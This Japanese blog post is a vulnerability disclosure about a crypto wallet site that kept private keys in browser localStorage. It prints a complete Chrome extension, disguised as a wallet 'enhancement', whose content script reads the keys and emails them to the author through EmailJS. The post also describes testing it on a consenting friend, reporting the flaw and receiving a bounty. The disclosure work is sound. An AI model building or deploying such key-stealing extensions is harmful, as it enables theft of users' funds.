2022 年 1 月、私はプルーフ オブ ステーク ブロックチェーンの 1 つのコミュニティに参加しました。このプロトコルとそのエコシステムが提供するものを試すために、公式 Web サイトhttps://wallet.****.org
でウォレット アカウントを作成しました。一般的な好奇心とは別に、特に拡張機能とクライアント側の脆弱性の時代に、ブラウザーでセキュリティをどのように実現するかに興味がありました。
ユーザーがログインすると、ウォレット アプリケーション (React に組み込まれている) が公開鍵と秘密鍵のセットを生成し、ブラウザーのローカル ストレージに保存していることが判明しました。分散システムで認証と認可を構築した経験から、これが最善の策ではないことはわかっていました。一般に、ブラウザ拡張機能やクライアント側のコードがローカル ストレージからデータを読み取るのは簡単です[ 1 ]。
これを証明するために、私は被害者のブラウザからキーを取得し、それを私の匿名メール アドレスに送信するChrome 用の簡単な拡張機能を作成することにしました。
私のスリ拡張機能のルート ディレクトリは次のようになりました。
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
主なファイルは、 manifest.json
とcontent.js
です。前者は拡張機能のインストールに不可欠です。
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
、サーバー コードを使用せずにブラウザから直接電子メールを送信できるクラウド サービスの 1 つであるクライアント ライブラリです。 index.html
、何も表示されない空の HTML ページです。ウォレットハイジャックロジックはcontent.js
ファイル内にありました。
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
はい、そのようなダミースクリプトです。
私は 4 つのファイルすべてを zip アーカイブに圧縮し、同じくhttps://wallet.***.org
にウォレットを持っていた友人に、私の作品をブラウザにインストールするようにお願いしました (ソーシャル エンジニアリングを行うふりをして)。その前に、私は自分の発見と証明しようとしている理論について彼に話しました。彼は喜んで協力してくれました。ブラウザ拡張機能がインストールされてから数秒後に、このウォレット アカウントの公開鍵と秘密鍵が私の受信箱に届きました。次に、ブラウザのローカル ストレージにキーを保存し、ウォレットの Web サイトを開きました。
驚いたことに、友人の暗号通貨ウォレットの残高が、資金を引き出すオプションとともに利用可能でした。被害者の友人とのZoom通話中に、私は彼の資金の一部を匿名の口座に送金し、また戻しました。衝撃的でした!最近投資ラウンドを終了した新しい有望なブロックチェーンには、ウォレットに大きな脆弱性がありました。何よりも悪いことに、ユーザーには 2 要素認証が導入されていました。もちろん、すぐにアクティベートする人は多くはありませんし、アクティベートしなかった人もたくさんいます。
倫理的な開発者として、私はブラウザー拡張機能のソース コードと Web アプリケーションのセキュリティを向上させる方法についての考えを含む脆弱性レポートを作成しました。これは 1 月 18 日にセキュリティ チームの電子メール アドレスに直接送信されました。数日後、私はブロックチェーン プロトコルの CISO と電話をしましたが、CISO はこの問題を認識しており、次のリリースで対処すると約束してくれました。インシデントへの対応の速さには少しがっかりしました。ユーザーのお金について語るとき、2 日は永遠です。それにもかかわらず、ブロックチェーン開発者は私に 1000 USDT に相当する量のトークンを与えてくれました。
👉🏻アプリケーション開発者へのアドバイス:使用するテクノロジーとそのセキュリティ面に注意してください。
💡暗号通貨ユーザーへのアドバイス:組織が提供するセキュリティ オプションを学び、ウォレット アカウントを作成したらすぐに 2 要素認証を有効にし、すべての資金をホット ウォレットに保管しないでください。
ここでも公開されています。